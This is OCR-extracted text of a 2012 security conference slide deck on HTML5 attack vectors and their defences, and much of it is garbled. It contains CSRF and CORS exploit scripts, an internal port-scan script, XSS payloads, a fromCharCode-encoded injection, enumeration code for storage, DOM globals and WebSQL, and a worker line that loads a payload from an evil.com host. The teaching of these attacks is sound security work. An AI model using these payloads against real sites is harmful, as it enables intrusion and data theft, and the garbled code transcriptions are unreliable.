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HTMLS Top 10 Threats
Stealth Attacks and Silent Exploits
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Founder & Director

— Blueinfy & iAppSecure Solutions Pvt. Ltd. Blue’ @ AppSecure
Past experience

— Net Square (Founder), Foundstone (R&D/Consulting), Chase(Middleware), IBM (Domino
Dev)

Interest
— Web security research
Published research
Articles / Papers — Securityfocus, O’erilly, DevX, InformIT etc.

Tools — DOMScan, DOMTracer, wsScanner, scanweb2.0, AppMap, AppCodeScan,
AppPrint etc.

Advisories - .Net, Java servers etc.
Presented at Blackhat, RSA, InfoSecWorld, OSCON, OWASP, HITB, Syscan, DeepSec etc.
Books (Author)
— Web 2.0 Security — Defending Ajax, RIA and SOA
— Hacking Web Services
— Web Hacking
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e HTML5 — Architecture & Attack Surface

* Top 10 Vectors & Defense In Depth
— CSRF, Jacking & XSS
— CSP Defense
— Storage, SQL and DOM
— Messaging APl & DOM based XSS
— Offline, APls & WebSockets

e Questions & Conclusions
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HTMLS — At’f’””"ks on the rise .

2012 Security
Predictions

2011 proved { X. HTML5 offers five times the ways to hijack
security. The = your website

e |—|T|\/| |_5 and Security

disastrous bri

RSA, and Son S

TDL-4 and Du i = e o th N W b

security pract ground for 0 n e eW e

see the likes stk K P are great, "they radically change the attack model for the browser. We
O SRS T W romise always hope new technologies can = = =5 of attack.

Unfortunately, they can also presegft new opportunitiey for
cybercriminals.”

Ghost of HTMLS future: Web browser botnets
With great power comes great responsibility ... to not pwn the interweb
-~ ~~*more from this author
Evolution of HTML5 rity, 27th April 2012 08:01 GMT
1991 — HTML started (plain and simple)
1996 — CSS & JavaScript (Welcome to world of XSS and browser security)
2000 — XHTML1 (Growing concerns and attacks on browsers)
2005 — AJAX, XHR, DOM — (Attack cocktail and surface expansion)

2009 — HTMLS5 (Here we go... new surface, architecture and defense) —
HTML+CSS+JS

black ="
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i | Simple class manipulation
Storage events

dataset (data-* attributes)

History API usi hStat
Taxonomy & Status (December 2011) siary ST using pushatate

. Browser based file reading Mot part of
W3C Recommendation ~/ RE, 3 % HTMLS

Drag files directly into your browser Mot

Candidate Recommendation €02 ; f < directly part of HTMLS
Indext -
Database Simple chat client

Last Call
Two videos playing in sync
. Media ). . )
Working Draft Capture e A S Interactive canvas gradients

Canvas & Video

Non-W3C Specifications @ 3 =N i
A \ P Video
Deprecated W3C APIs A kop -M \ ' ) Canvas

Content Editable

Geolocation Works on Safari Mobile too
postMessage same domain
postMessage cross domain

drag and drop

drag anything

offine detection Works on Safari Mobile too

navigator.onLine tests Doesntuse events,
only polls

Source: http://en.wikipedia.org/wiki/File:HTML5-APIs-and-related-technologies-by- on/offline event tests

Sergey-Mavrody.png offine application using the manifest FF 3.6
is still buggy - doesnt request manifest after
initial load

Source: http://htm|5demos.com/

Storage

Evolution going on by Web Hypertext Application Technology Working Group Web SQL Database Storage

(WHATWG) Web SQL Database - rollback test
( Web Waorkers watch out- uses a lot of CPU!

example without - will hang your browser
-
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What is runn z here???

4 a1l .,,,* UJ' :“, & * Android

* iPhone/Pad

Server side
Components

. tiaht
\ Presentation Layer “NET

Business l.ayer

ient side
Data Access Layer Components

Authentication (Browser)
Communication etc.

Runtime, Platform, Operating System Components

bl hat
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HTM LS%F agtul & Threat Model
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Storage, WebSQL, IndexedDB Messaging APIs  Geolocation and other
FileSystem, Cache - APIs APIs
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D:/Trainings/Web2.0-2010/Web-2.0-Demos/HTML5-Sample-App/dvds4less-sample.htm
D:/Trainings/Web2.0-2010/Web-2.0-Demos/HTML5-Sample/HTML5-Mobile-app.swf
D:/Trainings/Web2.0-2010/Web-2.0-Demos/HTML5-Sample-App/dvds4less-domtracer.htm

blé()ck hat
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Client/Victim
Browser

__L' R

NN B .._ﬂ,

CSR?At k \/ector

Attacker’s
Site Authentication

Server

Web Store Database
Application Server
Server

Successful exploitation ...
*  SOP bypass
* Cookie Replay

b d
S —
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SOP bypass and Cookie Replay — Basic Type

GET Request

IMG SRC
<img src="http://host/?command">

SCRIPT SRC
<script src="http://host/?command">

IFRAME SRC
<iframe src="http://host/?command">

POST Request

<script type="text/javascript" language="JavaScript">
document.foo.submit();
</script>

blackha®
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palrs are gone ..

.'ﬁ}-* Inspect  Clear  Profile
Console | HTML (5% Script DOM
= GET http:/ /localhost /demos/ajax/ajax-struct/myjson.txt [57ms}

Headers Response

{ "firstWName": "John", "lastName": "Smith", "address": { "streethddress": "Z1 EZnd Street", "city": "New
Tork", "state": "NY", "postalCode": 10021 }, "phonelMuwhers": [ "21Z T3E-1234", "646 1z3-45&67" 1 1}

1% :
»&; Inspect  Clear  Profile @ Inspect Clear Profile
Console | HTML (5% Script DOM  Met Console | HTML (S5 Script DOM  Met
-I GET http:/ /localhost/demos/ajax, ajax-struct /profile.xml [#7ms} J= GET http://localhost/demos; ajax; ajax-struct /js.txt (52ms}

Headers Response Headers Response

<7ym]l wersion="1_.0" encoding="UTF-5"7:> firstname="John";

=profiler lasthname="52mith";
<firsthnames=John</firstname> ramber="217-734-3020" ;
“<lastrnamerBnith</lastnamea>
“numberszlz-g75-323z</mmber> 2" Inspect Clear Profile

= profiler

Console | HTML (S5 Script DOM  Met
= GET http:/ /localhost/demos/ajax/ajax-struct /js-object.txt [ 7ms}

i '
@ Inspect Clear Profile
Console | HTML (S5 Script DOM
-I GET http://localhost/demos/ajax,/ajax-struct/array.txt [ 78ms} profile = {
firstname : "John",
Headers Response lasthname : "Smith",
. W e . numher @ “"ZlE-Z34-5758",
new Array("John® "Smith" "Z12-456-2323") showfirstname :@ functioni){return this. firstname},
showlastname @ functioni){return this.lastname},
showmmawber @ functioni) {return this. number},

Headers Response

bl.'(ﬂckr
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 XHR object of HTMLS is very powerful

— Allows interesting features like cross origin
request and binary upload/download

* xhr.responseType can be set to "text",
"arraybuffer”, "document” and "blob“

* Also, for posting data stream - DOMString,
Document, FormData, Blob, File, ArrayBuffer
etc...




CORS& XHR

-l iy

Before HTML5 — Cross Domain was not
possible through XHR (SOP applicable)

HTMLS5 — allows cross origin calls with XHR-

Level 2 calls

CORS — Cross Origin Resource Sharing needs
to be followed (Option/Preflight calls)

Adding extra HTTP header (Access-Control-
Allow-Origin and few others)




> —

 Headers

* Request
Origin
Access-Control-Request-Method (preflight)
Access-Control-Request-Headers (preflight)

* Response

Access-Control-Allow-Origin
Access-Control-Allow-Credentials
Access-Control-Allow-Expose-Headers
Access-Control-Allow-Max-Age (preflight)
Access-Control-Allow-Allow-Methods (preflight)
Access-Control-Allow-Allow-Headers (preflight)

bléék [_" - . A
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XHR — S;E'éalth threats
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 CSRF — powered by CORS and XHR

— Hence, allow stealth channel and possible silent
exploitation

— One way CSRF with any stream since XHR allows

raw stream from browser (XML, JSON, Binary as
well)

— Two way CSRF (POST and read both — in case of
allow set to *)

bl.':lt?:kr

ABU DHABI 2012




Sllent ExipI0|tat|on

HN 2 Al O i ol

CORS preflight bypass — certain Content-Type
oypass preflight HTTP

~orcing cookie replay by “withCredentials”
nternal network scanning and tunneling

nformation harvesting (internal crawling)

Stealth browser shell — post XSS (Allow origin- *)

Business functionality abuse (upload and binary
streams)
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Wm"—xH R/HTMLS

Authentication
User Server
establishing

Session

1 Login reguest (HTTPS) >

 —T T —

Web Store Database
Application Server
Server

Client/Victim
Browser

oot
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CSRF W ’EHXH R/HTMLS

Browser using

XHR Ca_‘” Authentication
JavaScript User making a Server

buy over
HTTP

| Placing an order (JSON services) >

 — e —

Web Store Database
Application Server
Server

Client/Victim
Browser

oot
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Client/Victim
Browser

Attacker’s
Site

Authentication

Session is still
live — not yet

Server

logged out / o

)

————

Leveraging XHR Call
* Content-type to avoid pre flight
* “withCredentials” set to true

oot

ABL DOHABI 2012

Web Store
Application
Server

Database
Server
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% HTMLS

="ja‘!aSCript" CVvD "text/ja‘!ascript">

function getMe ()
{
var http;
http = new XMLHttpRequest() :

http.setRequestHeader
http.withCredentials= "t
http.onreadystatechange = function()
{
if (http.readyState = 4) {
var response = http.responseText;
document.getElementById(’'result’') .innerHTML = response;

}

http.send(

}

getMe() ;
</script>

ABU OHABI 2012
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Attacker’s
Site Authentication

Server

Web Store Database

XHR initiates HTTP buy request >
Application Server
Server

Hence,
* Without victim’s consent or notice °
(-]

* Stealth HTTP request generated °
* Silent Exploitation takes place “@'

Client/Victim
Browser

ot
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D:/Trainings/Web2.0-2010/Web-2.0-Demos/HTML5-CSRF/JSON-buy/JSON-CSRF-XHRL2.htm

[ original request

“raw | params

Hozil
html, a

=0.7,%:q=0.7

n.html

o midT o

uct id", " s "pro
v

ckhat
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CSRF[U pload

‘ HN L o o ol )

Powerful XHR-Level 2 call allows file upload on
the fly.

Interestingly — possible to craft file through
JavaScript and post on the server — if CSRF token
IS not there.

Example, your profile is having a photograph of
yours and you visit attacker site that photo
changes to something else

More serious threat, exploiting actual business
functionalities...

bl.':lt?:kr
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with.

l

Browser is
having Form

(multi-part)

Business layer
function of
uploading

| Uploading bulk orders

 ——

Client/Victim

POST /user_upload.aspx HTTP/L.L

Browser

EIJUY YULL SHULDINIY SREE IS0 gL UvUSHEss:

Products ( 1.0 | XML | Flash | 350N | Sliverlight | AMF | HTMLS )

Gecko/20100101 Firefox/8.0.1
970.9, %/ *;q=0.8

Shreeraj Shah (U=10001) Main | Mew Order | Order Status | Profile | Blog | Logout

upload your order form

| uplead | Processing uploaded order...

black =

ABU DHABI 2012
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Authentication
Server

Web Store Database
Application Server
Server




Products ( 1.0 | XML | Flash | 1S0ON | Sliverlight | AMF | HTMLS )

Shreeraj Shah (U=10001) Main | Mew Order | Order Status | Profile | Blog | Logout

upload your order form | Browse_ |

| Upload | Processing uploaded order...

O .

AEU DHABI 2012
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Attacker’s
Site Authentication

) ' Server

nttp. send (body) 4

[_XHR initiates HTTP multi-part - Upload _ )

Web Store Database
Application Server
Server

Client/Victim
Browser

Hence,

* Without victim’s consent or notice

* Stealth HTTP Upload takes place ;0"
* Silent Exploitation... w

blélék B’
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var stream =

var boundary

var file = "order.prod

http = new‘HHLittpReqaest:},

http.open {("POST", "http:
http.setRequestHeader ("Con 1 guiLb] L/ form I "+tboundary) ;
http.setRequestHeader ("C 1 I I stream.length) ;

http.withCredentials=

var body = boundary +

body 4= -OT I =] 0 il m E F ilename="" 4+ file +

body Conter Ty lic I : stream\r ryn";

bﬂdy 1 T 1 ] I [2F-1R-10) &= | nedusis | nes |

FOST fuser_upload.aspx HTTF/1.1

Host: L192.168.100.21

User—-Agent: Mozilla/5.0 (Windows NT &.1; rv:8.0.1) Gecko/2010010L Firefox/8.0.1

Accept: text/html,application/xhtml+xml, application/=xml;q=0.9,*/*:¢q=0.8

Lecept-Language: =sn-us,=sn;c=0.5

Aecept-Encoding: g:ip deflate

Accept-Charset: I30-8855-1,ucf-8;c=0.7, *:;q=0.7

Proxy-Connection: keep aliwve

Content-Type: multipart/form-data; charsst=UTF-8, 1460435902153
Eeferer: http://192.168.100.&/upload/csrf-up.html

Content-Length: 255

Origin: http://192.168.100.6

Cookie: cid=10001; DemoTrading=1990bSbi9dd=249a38ffc352£7h3e5lb, ASP.NET Sessionld=3ifecql4S0Zukzijxz
JSESSICNID=8ESSELDE LDFAFET7CEFSTAFEOSALO3IDLS -

Pragma: no-cache

Cache-Control: no-cache

body 4= boundary +

. 2end (body) ;|

148043502153
Content-Disposition: form-data; name="FILELl":; filenams="ocrder.prod
Content-Type: application/octet-stream

AEC inc.

inding MNemo
Benl it like Beckham

U OHABI 20



D:/Trainings/Web2.0-2010/Web-2.0-Demos/HTML5-CSRF/upload/upload-CSRF.htm

¢script>
for(i=20;i<=2

. Attacker’s

st = scan(target)

if(st=true) S t
status 4= "<br>"+targetd” (Access-Co B . Y 1te

document . getElementById (' result') . innerHTHML = status
1
¢/script>

http = new XMLHttpRequest () ;
http.open("GET", url, false):
http.send()
retwrn true:

catch(err)
{
return false:

1

€ i} 192168100.6/portscan/scan.htm

Cllent/VICtIm @) Disable-| & Cookiess # €55 = Forms- [ Images- i} Information L4 Mi:

Browser Scan results
http://192.168.100.21/(Access-Control- Allow- Origin:---->true)

Internal HR
Mail Application

Internal Web/App Internal Web

Server

bléék [_" - . A
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Tfunction scan{url)

{
try
{

st = scaﬂttarget}
http = new XMLHttpRequest () ;

http.open {("GET", url, false):

if({st=true)

status += "<br>"+target+" (L 0
http.send() document.getElementById (' resul .innerHTML = status
return trues;

} fscript> =
catch(err) = {1 192168.100.6/port

{ — - = ) o
ret o #J Dizable _l_Cu:u:ulmes & (055 = Forms~ [ Images- @ Information= L5 Mi

Scan results

http=//192.168.100.21/{Access-Control- Allow-Origin:--- - >true)

raw rheaders rhex rhtml rrender |

HTTF/1.1 200 OK

Date: Thu, l& Feb Z0L1lZ 07:ZZ2:58 GHMNT
Aocess-Control-Allow-Origin: *
Server: Microsoft-1I13/€.0
X-FPowered-By: ASP.NET
H-Asplet-Version: 2.0.50727
Cache-Control: priwvate

Content-Type: text/html; charset=utf-
Content-Length: 13456

<html><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<titlexStore</titler</headr<body class="hackground":>

ABL DOHABI 2012



D:/Trainings/Web2.0-2010/Web-2.0-Demos/HTML5-CORS-Scan/Scan-Cors.htm
D:/Trainings/Web2.0-2010/Web-2.0-Demos/HTML5-CORS-Scan/Crawl-Cors.htm

i nn; NN
i
’l— T

Scanand Defend

ALy~ T e

e Scan and look for
— Content-Type checking on server side
— CORS policy scan
— Form and Upload with tokens or not

e Defense and Countermeasures

— Secure libraries for streaming HTML5/Web 2.0
content

— CSRF protections
— Stronger CORS implementation

bl.':lt?:kr
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Cllck/CiR-Jacklng
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* Ul Redressing (Click/Tab/Event Jacking) attack vectors
are popular ways to abuse cross domain HTTP calls

and events.

HTML5 and RIA applications are having various

different resources like Flash files, Silverlight, video,
audio etc.

If DOM is forced to change underlying resource on
the fly and replaced by cross origin/domain resource
then it causes Cross Origin Resource Jacking
(CROJacking).

bl.':lt?:kr
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C‘Rjéckm °

Itis possible to have some mtegrated attacks
— DOM based XSS

— Single DOM usage/One page app

— Flash

DOM based issue can change flash/swf file — it can

be changed at run time — user will not come to
know ..

Example

— document.getElementsByName(“login").item(0).src =
"http://evil/login.swf"

blacichat
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* Possible with other types of resources as well
* Also, reverse CORJacking is a possible threat

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="Login" width="100%" height="1000%"
codebase="nhttp://fpdownload.macromedia.com/get/flashplayer/current

<param name="movie" vllu>

<param name="quality" wvalue="high" />

<param name="bgcolor" wvalue="#86%ca7" />

<param name="allowScriptAccess" value="sameDomain" />

<embed src="Login.swf" quality="high" bgcolor="%#86%ca7"
width="50%" height="50%" name="Login" align="middle"

R O

' ‘ "i Consolev | HTML (SS Script DOM HNet SharedObjects Flash Consol

¢} Clear  Persist  Profile l‘ Al Errors Warnings Info  Debug Info document .getElementsByName ('Login') .item(0) .sxc

€ syntax error
lert (3 Login....t("hi") (line 57)

>>> document.getElementsByName ('Legin') .item(0) .sxc

"hettp://192_.168.100. : B f£lex/testHelloWorldl/Login. s'\-::']z

Run Clear Copy History

ABL DOHABI 2012
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Double éva
Payload -
document.getElementsByName('Login').ite
m(0).src="http://192.168.100.200:8080/flex/
Loginn/Loginn.swf’

* Converting for double eval to inject “ and “

etc...

— eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,103,
101,116,69,108,101,109,101,110,116,115,66,121,78,97,109,101,40,
39,76,111,103,105,110,39,41,46,105,116,101,109,40,48,41,46,115,
114,99,61,39,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49
,48,48,46,50,48,48,58,56,48,56,48,47,102,108,101,120,47,76,111,1
03,105,110,110,47,76,111,103,105,110,110,46,115,119,102,39))

blacichat
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D:/Trainings/Web2.0-2010/Web-2.0-Demos/HTML5-CORJacking/flashjacking.htm
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Scantand_ Defend

Tt - "———-—~—

 Scan and look for

— ClicklJacking defense code scanning
— Using X-FRAME-OPTIONS

 Defense and Countermeasures

— Better control on CORS

— Creating self aware components and loading after
checking the domain

— Applying Content Security Policy

bl.':lt?:kr
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HTMLS — Tags/Attributes/Events

ALaey” "'———3~~

* Tags — media (audio/video), canvas
(getimageData), menu, embed,
buttons/commands, Form control (keys)

e Attributes — form, submit, autofocus, sandbox,
manifest, rel etc.

* Events/Objects — Navigation (_self), Editable
content, Drag-Drop APIs, pushState (History)
etc.




XS"S«" Vé”rla nts

.r‘i..h}'« B L e

Media tags
 Examples

— <video><source onerror="javascript:alert(1)“>

— <V|deo onerror— |avascr|ot alert(1)"><source>

192.168.100.20/=

Cookies~ / CSS+ = Forms E]Imges'“lf rmation L4 Miscellaneous~ & Outline~ 13 R

dvds4less

your source for iow.-cosé dyg

black/ ="
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XS’S" ii"é_f_’rl ants

* Exploiting autofocus

— <input autofocus onfocus=alert(1)>

— <select autofocus onfocus=alert(1)>

— <textarea autofocus onfocus=alert(1)>
— <keygen autofocus onfocus= alert(1)>

192.168.100.20/<
Zookies™ /# €SS+ =| Forms [& Images™ ) Information~ L4 Miscellan * Out

your source for low-cost dv

come to dvds4less!

blélék —
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XSS«va riants
* Form & Button etc.

— <form id="test" /><button form="test"
formaction="javascript:alert(1)">test

— <form><button

formaction="javascript:alert(1)">test

e Etc ... and more ...

— Nice HTML5 XSS cheat sheet
(http://html5sec.org/)

bl.':lt?:kr
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Scanand Defend

ALy~ T e

e Scan and look for
— Reflected or Persistent XSS spots with HTML5 tags

 Defense and Countermeasures
— Have it added on your blacklist
— Standard XSS protections by encoding

bl.':lt?:kr
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CONTENT SECURITY POLICY (CSP) -
YOUR DEFENSE AGAINST ATTACKS
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CSP in ACtldﬁi&.HTMLS defense ..

ALAGy ™ T

* Content Security Policy — Defending browser
against possible post attack scenarios

— Based on Origin (SOP the key)
— Allows whitelisting mechanism for what “to do” and

“not to do”

— It is possible to send back notification to application
when violation takes place

— Implementation by extra HTTP headers [Brower to
browser X-WebKit-CSP (S/C) X-Content-Security-Policy

(F)]

bl.':lt?:kr
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B|O__ kmg Scrlpts

AL T

* Content-Security-Policy: script-src 'self

— Only allowing script from the self

e Other mechanism
— 'unsafe-inline' - blocking inline

— 'unsafe-eval’ — blocking eval type calls

Post XSS defense can be crafted

bl.':lt?:kr
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Contr@ﬂ mg Browser

HN __ii;. & 2

connect-src — Controlling WebSocket, XHR etc.
frame-src — Source of the frame (ClickJacking)
object-src — Flash, Silverlight etc.

media-src — controlling audio and video

img/style — image and style sources
default-src https:; - locking over SSL only
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* Persistent XSS injected

HTTP/1.1 200 OK

Date: Wed, 12 Sep 2012 14:40:31 GMT
Server: Microsoft-11S/6.0
X-Powered-By: ASP.NET

X-WebKit-CSP: script-src 'self'
X-AspNet-Version: 2.0.50727
Cache-Control: private

Content-Type: text/html; charset=utf-8
Content-Length: 6146

.- 1 T .-- £ a2 ;
<# Elements .&J Resources @ Network [j Sources | ”ﬁ Timeline \f__ Profies Bﬁmdrts | L Console |

@ Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'™.

@ Refused to load the script 'http://192.168.149.1:8888/' because it wviolates the following Content Security Policy directive: "script-src 'self'™
b

oot
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STORAGE, DOM AND SQL — HTML5
BASED VECTORS
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Web Sté"f“‘é Extraction

ALy ™ T

Browser has one place to store data — Cookie
(limited and replayed)

HTML5 — Storage API provided (Local and
Session)

Can hold global scoped variables

nttp://www.w3.org/TR/webstorage/

interface Storage {
readonly attribute unsigned long length;
getter DOMString key(in unsigned long index]) ;
getter any getltem(in DOMString key):
Setter creator void getltem(in DOMString key, in any data):
deleter void removeltem(in DOMString key):
void clear():



http://www.w3.org/TR/webstorage/
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Web Stofage Extraction
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It is possible to steal them through XSS or via
JavaScript

Session hijacking — HttpOnly of no use
getltem and setltem calls

</ script>
<gcript tvpe="text/javascript"
localStorage.setltem| 'hash', "lfedf2l8ccldi8difécackblac3iledifcc');
function ajaxget ()
{
var mygetrequest=new ajaxRequest ()
mygetrequest.onreadystatechange=function() {
if (mygetrequest.readyitate==4)

XSS the box and scan through storage

bléék [_" - . A
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Blind sto_rgé
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T ala e fu\ _J'Ap'~

ge _enumeratlon

if(localStorage.length){
console.log(localStorage.length)
for(i in localStorage){
console.log(i)
console.log(localStorage.getitem(i));

}
* Above code allows all storage variable

» if(localstorage.length){

eXt ra Ct i O n o conscle.logl lu:::alStCFage .length)

for{i in localStorage)}{
console.log(i)

console.log(localStorage.getItem{i))

1
hash
1fedf2l8cclds8d986caebYac3ledffoc

ABU DHABI 2012


D:/Trainings/Web2.0-2010/Web-2.0-Demos/HTML5-localStorage/HTML5-localStorage.htm

File §ystem Storage
e HTMLS provides virtual file system with
filesystem APIs

— window.requestFileSystem =
window.requestFileSystem | |
window.webkitRequestFileSystem;

* |t becomes a full blown local system for
application in sandbox

* |t empowers application

bl.':lt?:kr
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File S\/S&“éfh Storage

E A ™ T Y.

It provides temporary or permanent file
system

function init() {
window.requestFileSystem(window. TEIMPORARY, 1024*1024,
function(filesystem) {
filesys = filesystem;
}, catcherror);

}
* App can have full filesystem in place now.

bléék [_" - . A
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Sensitive m\f@rmatmn filesystem

* Assuming app is creating profile on local
system

function profile () {
fileszy=s.root.getFile ('t le {create: true}, function{entry) {
entry.createWriter{functiaon{writer) {
var myblob = new window.WebEitBlobBuilder() ;
myblob.append {"Token: 091232432 , name : Jack,auth:true'}) ;
writer.write (myblob.getEBElob('text,/plain'}}
} ;catcherror) ;
} ;rcatcherror) ;

tp://localhost/temporary o ilesystem:http://localhost/temp

Token: 091232432, name : Jack, auth:true

Date Modified
6/19/12 2:22:10 PM

bisokhe
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* Once have an entry point — game over!

Hfunction getProfile() {

filesy=s.root.getFile (' le {};, function{entry) {
entry.file(functicon(file) {
rvar reader = new FileBReader() :;
reader.onloadend = function{e) {
alert {this.result) ;
i:
reader.readfAsText(file) ;
}» catcherror) ;
}; catcherror) ;

& The page at localhost says:

Token:091232432 name:lack, auth:true

ABL DOHABI 2012
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Applications run with “rich” DOM

JavaScript sets several variables and parameters
while loading — GLOBALS

It has sensitive information and what if they are
GLOBAL and remains during the life of application

t can be retrieved with XSS

HTTP request and response are going through
JavaScripts (XHR) — what about those vars?




—

Blmat«Ehﬁmeratlon

ALAEYT T

for(i in window){
obj=window[i];
try{
if(typeof(obj)=="string"){
console.log(i);

console.log(obj.toString());

}
}catch(ex){}

black =1
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Global Sensitive!Infermation Extraction from DOM

‘ M

* HTML5S apps running on Single DOM

* Having several key global variables, objects
and array

— var arrayGlobals =
['my@email.com’,"12141hewvsdr9321343423mijf
dvint","test.com"];

* Post DOM based exploitation possible and
harvesting all these values.

bléék [_" - . A
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Global Sensitive Iﬁférma_tlon Extraction from DOM

-
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for(i in window){
obj=window[i];
if(obj!=null| | obj!=undefined)
var type = typeof(obj);
if(type=="object" | |type=="string")
{

console.log("Name:"+i)
try{
my=JSON.stringify(obj);
console.log(my)
}catch(ex){}

HName:arrayGlobals
["myiemail com”, "1Z14lhewvsdr33213434Z3mjfdvint™, "test . com™]
Name: jsonzlobal

{"firstName" :"John", "lastName™: "Smith"™, "address™: {"streetBddress™:"21 Znd Street™,"city":"Hew
¥York™, "state"™:"NY", "postalCode" 10021}, "phoneNumbers™: ["Z12 '7-'32—1.»_34 "gdo 1Z23- 4:!-«:.' 11

Name:stringElobal

"tegst@test.com”

black h=F
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D:/Trainings/Web2.0-2010/Web-2.0-Demos/domscan/DOM-Accessing-Vars-user-pass.htm
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 Scan and look for

— Scanning storage

Defense and Countermeasures

— Do not store sensitive information on localStorage
and Globals

— XSS protection

bléék [_" - . A
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SQMriJectlon
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WebSQL is part of HTML 5 specification, it
provides SQL database to the browser itself.

Allows one time data loading and offline

browsing capabilities.
Causes security concern and potential
Injection points.

* Methods and calls are possible

openDatabase

executesq|
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* Through JavaScript one can harvest entire
local database.

Example

= | ! fy= . ﬂﬁ. . . ':.-';."\-__ .
:& Elements | -L—I Rezources | @ MNetwork _ﬁ' Scripts ([ y Timeline | Profiles gﬁaudrts 9 Console

» [~ Frames » SELECT * from Trans
¥ | |Databases i =
= 100001 Transfer to John
100002 Transfer to Bob

» F| Local Storage

» 1| Session Storage
» |5 Cookies

| EEIAppIi::ﬂtiun Cache

oot
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Blind WebSQ]., Enumeration

var dbo;
var table;
var usertable;
for(i in window){

obj = windowl[i];

try{

if(obj.constructor.name=="Database"){
dbo = obj;
obj.transaction(function(tx){

tx.executeSql('SELECT name FROM sglite_master WHERE
type=\"table\",[],function(tx,results){

table=results;

}1null);

}
}catch(ex){}

}
if(table.rows.length>1)

usertable=table.rows.item(1).name;

oo
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 We will run through all objects and get object
where constructor is “Database”

* We will make Select query directly to
sglite_master database

* We will grab 15 table leaving webkit table on
Ot" entry




Enumeration

» var dbo;
var table;
var usertable;
for(i in window){
obj = window[i];
try{
if({obj.constructor.name=="Database" }{
dbo = obj;
obj.transaction{function{tx){
tx.executesql('SELECT name FROM sqlite_master WHERE type=\'table\'',[],function(tx,results){
table=results;
¥,null);

}catchieéj{}
iiitable.’Cas.length>;)
usertable=table.rows.item{1)}.name;
"ITEMS"™
dbo
* Database
table
* SOLResultSet

usertable
"ITEMS™

» (] Frames
v ; fDatabases - S ... | product_desc

NEC 1 in... ... | There are 2.7 trillion fish in the ocsan, they're looking for one. The Academy Award-winning creators of ..

1 Who wants to cook Aloo Gobi when you can bend s ball like Becktham? An Indian family in London tries ...
-+ Local Storage

[i1192.168.100.27
¥ |55 Session Storage
[51192.168.100.27

v e Cookies 2 j... | From the creators of - The Bridge on the River Kwai. Sweeping epic about the real life adventures of T.E...

b o
black/ ="

ABU DHABI 2012

David Lean's DOCTOR ZHIVAGO is an exploration of the Russian Revolution as seen from the point of vi...
An epic of miniature proportions. Life is no picnic for the ants on Ant Island! Each summer, a gang of gre...
Once upon a time in India. Lagaan is the story of a battle without bloodshed fought by a group of unlikel...
The Rasin is coming... and so is the Family. An extended Punjabi family gathers for an aranged wedding...



D:/Trainings/Web2.0-2010/Web-2.0-Demos/html5/websql-injection.htm

_“ l""éjfméiced DB

.;';ﬁ..ii}_«f -

e Similar to WebSQL — it is available for
applications

* Allows to create database and it is indexed in
store
— indexedDB.open(“transactions");
— db.createObjectStore

* Possible to enumerate like WebSQL and
possible information extraction

bl.':lt?:kr
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MESSAGING API AND DOM BASED
XSS WITH HTMLS5



o‘\

E_f’ \ e
- ] L'!P(! \
ol Y g -

-'.

.r9ﬂnject|ons
0N

Adobe

Dbliver
API (Media, Geo etc.\& Messaging I

ﬁssaglng and Web

Mobile

Presentation

€ 2 S 2 ’

v

Process & Ilogic

WebSQL

Browser Native Network Services ’

v

blg)ck hat

ABU OHAEI 2012

Network
& Access
y A v
Policies



Web Messagmg
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HTMLS is having new interframe
communication system called Web Messaging.

By postMessage() call parent frame/domain
can call with the iframe

Iframe can be loaded on cross domain. Hence,
create issues — data/information validation &

data leakage by cross posting possible

worker.webkitPostMessage — faster
transferable objects




—
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Web- I\/Iessagmg ‘Scenario

‘ ﬂN __.VM_

—

f postMessage() is set to * so page can be
oaded in iframe and messaging can be
nijacked

Also, origin is not set to fixed then again frame

listen from any domian — again an issue

Stream coming needs to be checked before
innerHTML or eval()

Iframe or Web Worker can glue two streams —
same domain or cross domain
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<script>
wWindow.addEventListener ('message', receiwver, false):;
function receiver(e)
i
if (e.origin = 'http://192.168.100.123")
{
document .getElementById('pl' ) . innerdTHL= e.data:

else

{

alert ("Different Crigin™):
ffalert (e.data)

</ soript>

black -
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 Web Workers aIIows threading into HTML
pages using JavaScript

* No need to use JavaScript calls like
setTimeout(), setinterval(), XMLHttpRequest,

and event handlers
* Totally Async and well supported

[initialize] var worker = new Worker('task.js');
[Messaging] worker.postMessage();




Hacks|

Web Worker

.

Background
Thread on same page
- messaging

blg)ck hat
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* Security issues

— It is not allowing to load cross domain worker
scripts. (http:, https:,javascript:,data : -No)

— It has some typical issues

* |t allows the use of XHR. Hence, in-domain and CORS
requests possible

* It can cause DoS — if user get stream to run JavaScript in
worker thread. Don’t have access to parent DOM
though

* Message validation needed — else DOM based XSS

bléék [_" - . A
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 Exmaple

<html>
<button onclick="Read()">Read Last Message</button>

<button onclick="stop ()">Stop</button>
<output id="result"></output>

<script>
function Read () {
worker.postMessage ({'cmd': 'read', 'msg': 'last'});

function stop () {

worker.postMessage ({'cmd': 'stop', 'msg': 'stop it'});
alert ("Worker stopped"):;

}

var worker = new Worker ('message.js');

worker.addEventListener ('message', function(e) {
document.getElementById('result') .innerHTML = e.data;
}, false);
</script>

</html>

blé(?:k ot
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D:/Trainings/Web2.0-2010/Web-2.0-Demos/HTML5-webworkers/ww-XSS.htm
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Possible to cause XSS
— Running script
— Passing hidden payload

Also, web workers can help in embedding silent
running js file and can be controlled.

Can be a tool for payload delivery and control
within browser framework

importScripts("http://evil.com/payload.js") —
worker can run cross domain script

bléék [_" - . A
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Scan and look for
— JavaScript scanning
— Messaging and Worker implementation

Defense and Countermeasures

— Same origin listening is a must for messaging
event

bléék [_" - . A
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* |tis asleeping giant in the Ajax applications
coupled with Web Messaging

* Root cause
— DOM is already loaded

— Application is single page and DOM remains same

— New information coming needs to be injected in using
various DOM calls like eval()

— Information is coming from untrusted sources
— JSONP usage
— Web Workers and callbacks

bl.':lt?:kr
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AJAX wﬁth«"f?MLS — DOM
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Ajax function would be making a back-end call

Back-end would be returning JSON stream or
any other and get injected in DOM

In some libraries their content type would
allow them to get loaded in browser directly

In that case bypassing DOM processing...

bléék [_" - . A
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D:/Trainings/Web2.0-2010/Web-2.0-Demos/domscan/Widget-Hack-Feed.htm
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Scan and look for
— DOM calls
— Use of eval(), document.* calls etc.

Defense and Countermeasures

— Secure JavaScript coding

bléék [_" - . A
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OFFLINE, THIRD PARTY,
WEBSOCKETS AND APIS ...
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HTMLS supports caching pages for offline
usage

<htm| manifest="/appcache.manifest">
List of pages gets stored

